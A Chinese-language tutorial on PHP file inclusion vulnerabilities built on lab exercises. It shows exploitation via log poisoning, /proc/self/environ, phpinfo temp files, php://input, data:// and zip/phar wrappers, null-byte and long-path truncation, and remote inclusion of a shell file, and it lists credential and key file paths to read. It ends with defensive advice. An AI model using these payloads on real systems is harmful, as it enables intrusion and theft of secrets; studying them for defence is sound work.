文件包含漏洞
描述
程序在引用文件的时,引用的文件名,用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这重文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在 PHP WebApplication 中居多,而在 JSP、ASP、ASP.NET 程序中却非常少,甚至没有,这是有些语言设计的弊端。在 PHP 中经常出现包含漏洞,但这并不意味这其他语言不存在。
常见的文件包含函数
include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
include_once()和 require_once():若文件中代码已被包含则不会再次包含
代码分析
cd /var/www/html/06/vul/fileinclude
cat fileinclude.php
我们把源码拿出来看 清晰一点
$_GET[‘filename’] 接收客户端传的参数,没有任何过滤,然后带入到 include 函数中,include 包含这个文件,引入到当前文件中,因此会造成文件包含漏洞。
利用
文件包含漏洞,需要引入上传的文件到网站目录,或是服务器内部的文件,而且权限是可读,才能引入进来,或远程包含进来,但是需要条件。
文件包含 /etc/passwd
这是Linux中一个比较敏感的文件
文件包含图片
寻找网站上传点,把 php 恶意代码文件改成 jpg 上传到网站上,本地包含引入恶意代码,当文件被引入后代码就被执行。
1.jpg
<?php phpinfo();?>
包含日志文件getshell
中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志有 php 恶意代码,也可导致 getshell。
linux 默认的 apache 日志文件路径是
访问日志
/var/log/apache2/access.log
错误日志
/var/log/apache2/error.log
把文件日志包含进来即可
抓包写入php代码 send
但是在linux下我们没有权限包含日志文件,需要root权限,但是php权限是www-data,我们在windows下可以做到此操作
所以我们在phpstudy上新建一个网站,在根目录中写
还是同样的操作
我们在apache中找到日志
可以看到php代码被记录了下来
包含日志文件 找到此日志路径
包含日志文件发现php代码被执行了
包含环境变量getshell
/proc/self/environ 这个文件保存了一些系统的变量
我们抓包修改user-agent,写入php代码
如果权限足够就会把代码写入到上面那个文件,包含此文件即可执行php代码
phpinfo文件包含临时文件
原理: 利用 php post 上传文件产生临时文件,phpinfo()读临时文件的路径和名字,
本地包含漏洞生成 一句话后门
1.php 在解析 multipart/form-data 请求时,会创建临时文件,并写入上传内容,脚本执行后即删除
2.phpinfo 可以输出$_FILE 信息
3.通过多种方式争取时间,在临时文件删除前进行执行包含
1)通过在数据报文中加入大量的垃圾数据,似 phpinfo 页面过大,导致 phpinfo页面过大,导致 php 输出进入流式输出,并不一次输出完毕
2)通过大量请求来延迟 php 脚本的执行速度php post 方式上传任意文件,服务器都会创建临时文件来保存文件内容。在 HTTP 协议中为了方便进行文件传输,规定了一种基于表单的 HTML 文件传输方法
其中要确保上传表单的属性是 enctype=”multipart/form-data”
其中 PHP 引擎对 enctype=”multipart/form-data”这种请求的处理过程如下:
1、请求到达;
2、创建临时文件,并写入上传文件的内容;
3、调用相应 PHP 脚本进行处理,如校验名称、大小等;
4、删除临时文件。
PHP 引擎会首先将文件内容保存到临时文件,然后进行相应的操作。临时文件的名称是 php+随机字符 。$_FILES 信息,包括临时文件路径、名称在 PHP 中,有超全局变量$_FILES,保存上传文件的信息,包括文件名、类型、临时文件名、错误代号、大小把文件上传到 phpinfo 获取临时文件路径
利用
写个上传表单,让文件上传到我们写的phpinfo.php
上传文件后,phpinfo创建了一个临时文件
这个临时文件在上传过后就会被删除,所以我们在目录下找不到此文件
我们利用脚本修改利用的文件和路径
脚本就不放了
执行成功后回在/tmp下建立一个g的文件,
g文件已经创建了
包含此文件
这里1也可以执行命令
伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
php.ini参数设置
在 php.ini 里有两个重要的参数 allow_url_fopen、allow_url_include。
allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;
allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;
各协议的利用条件和方法:
php://input
php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input,同时 post想设置的文件内容,php 执行时会将 post 内容当作文件内容。
注:当 enctype=”multipart/form-data”,php://input 是无效的。php.ini 条件是 allow_url_fopen =ON allow_url_include=ON
设置请求为 post 请求,在正文输入 php 代码<?php phpinfo();?>提交即可允许
看到php代码被执行了
file://
访问本地文件,在本地包含漏洞里可以使用 file 协议,使用 file 协议可以读取本地文件
file:///etc/passwd
读取相对路径的文件
php://
php:// 用于访问各个输入/输出流(I/O streams),经常使用的是 php://filter 和php://input
php://filter 用于读取源码;php://input 用于执行 php 代码。
协议 | 作用 |
---|---|
php://input | 可以访问请求的原始数据的只读流,在POST 请求中访问 POST 的 data 部分,在 enctype=”multipart/form-data” 的时候 php://input 是无效的。 |
php://output | 写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。 |
php://fd | (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符3。 |
php://memory php://temp | (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和sys_get_temp_dir() 的方式一致。 |
php://filter | (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类 似 readfile()、file() 和file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。 |
php://filter 参数详解
参数 | 描述 |
---|---|
resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流。 |
read=<读链的过滤器> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
<; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
可用的过滤器列表
字符串过滤器 | 作用 |
---|---|
string.rot13 | 等同于 str_rot13(),rot13 变换 |
string.toupper | 等同于 strtoupper(),转大写字母 |
string.tolower | 等同于 strtolower(),转小写字母 |
string.strip_tags | 等同于 strip_tags(),去除 html、PHP 语言标签 |
转换过滤器 | 作用 |
---|---|
convert.base64-encode &convert.base64-decode | 等同于 base64_encode()和base64_decode(),base64 编码解码 |
bzip2.compress & bzip2.decompress bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法。 |
加密过滤器 | 作用 |
---|---|
mcrypt.* | libmcrypt 对称加密算法 |
mdecrypt.* | libmcrypt 对称解密算法 |
使用伪协议以base64编码过滤方式读取文件源码
phar://、zip://、bzip2://、zlib://
用于读取压缩文件,zip:// 、 bzip2:// 、 zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]( #\编码为%23)
这里不知道为啥没读出来
但是直接?file=1.zip可以解析
2、compress.bzip2://file.bz2
http://127.0.0.1/include.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
http://127.0.0.1/include.php?file=compress.bzip2://./file.jpg
3、compress.zlib://file.gz
http://127.0.0.1/include.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
http://127.0.0.1/include.php?file=compress.zlib://./file.jpg
4、phar://
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
data://
1.data://text/plain
http://10.163.193.76/lfi.php?file=data://text/plain,%3C?php%20phpinfo();?%3E
2.data://text/plain;base64
http://10.163.193.76/lfi.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
文件包含常用路径
包含日志文件 getshell
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
读取网站配置文件
dedecms 数据库配置文件 data/common.inc.php,
discuz 全局配置文件 config/config_global.php,
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php
包含系统配置文件
windows
C:/boot.ini//查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置文件
C:/Windows/repairsam//存储系统初次安装的密码
C:/Program Files/mysql/my.ini//Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD//Mysql root
C:/Windows/php.ini//php 配置信息
C:/Windows/my.ini//Mysql 配置信息
linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
远程文件包含
当远程文件开启时,可以包含远程文件到本地执行。当 allow_url_fopen=On,allow_url_include=ON 两个条件同时为 On 允许远程包含文件。
http://10.163.193.76/lfi.php?file=http://10.163.193.76/shell.txt
文件包含%00截断
文件包含截断攻击,在 php 版本小于 5.3.4 允许使用%00 截断,在使用 include等文件包含函数,可以截断文件名,截断会受 gpc 影响,如果 gpc 为 On 时,%00会被转以成\0 截断会失败。
当前我们是5.2.17 gpc=off
可以看到是文件名拼接.php,但是文件名可控导致可以截断
%00截断
超长截断
这个适用于于 win32 可以使用\.进行截断 和 . 进行截断
(php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于256)
利用操作系统对目录最大长度限制,在 window 下 256 字节,linux 下 4096 字节
点截断
http://include.moonteam.com/file02.php?file=x.jpg................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
\.截断
http://include.moonteam.com/file02.php?file=x.jpg\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
这里我试了下/.也能截断
远程文件包含截断
适用于远程截断的字符
符号 | url编码 | |
---|---|---|
# | %23 | |
? | %3f | |
00 | %00 |
以上这个字符都可以截断
allow_url_fopen =On
allow_url_include=On
这里远程用%00截断,没解析出来
剩余俩个可以
防御
- 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
- 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:”../“;
- 包含文件验证:验证被包含的文件是否是白名单中的一员;
- 尽 量 不 要 使 用 动 态 包 含 , 可 以 在 需 要 包 含 的 页 面 固 定 写 好 , 如 :include(‘head.php’)。
- 设置 allow_url_include 为 Off